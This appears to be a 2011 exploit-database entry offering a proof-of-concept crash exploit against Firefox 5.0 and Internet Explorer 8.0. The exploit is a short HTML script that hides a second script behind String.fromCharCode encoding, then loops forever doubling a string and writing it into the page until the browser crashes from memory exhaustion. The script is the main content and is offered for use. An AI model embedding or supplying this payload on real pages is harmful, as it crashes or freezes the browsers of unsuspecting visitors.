Firefox 5.0 & Internet Explorer 8.0 - Access Violation Exception and Unknown Exception

# Exploit Title: Firefox 5.0 & Internet Explorer 8.0 - Access Violation Exception and Unknown Exception
# Google Dork: N/A
# Date: 7/12/2011
# Author: r45c4l
# Software Link: [www.firefox.com and IE is shiped with Windows copies]
# Version: Firefox 5.0 and Internet Explorer 8.0
# Tested on: Windows 7 (plateform independent)
# CVE : N/A

# NOTE : Though this is a old issue which has been reported earlier also (http://www.exploit-db.com/exploits/12602/) but the problem still exists in the upgradet    versions.

# Status : Vendors not reported.

# Exploit : 

<script>
  var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60,47,115,99,114,105,112,116,62);
  while(1){
    a=a+a;
    document.write(a);
  }
</script>


Greetz : Cattechie, H5 team,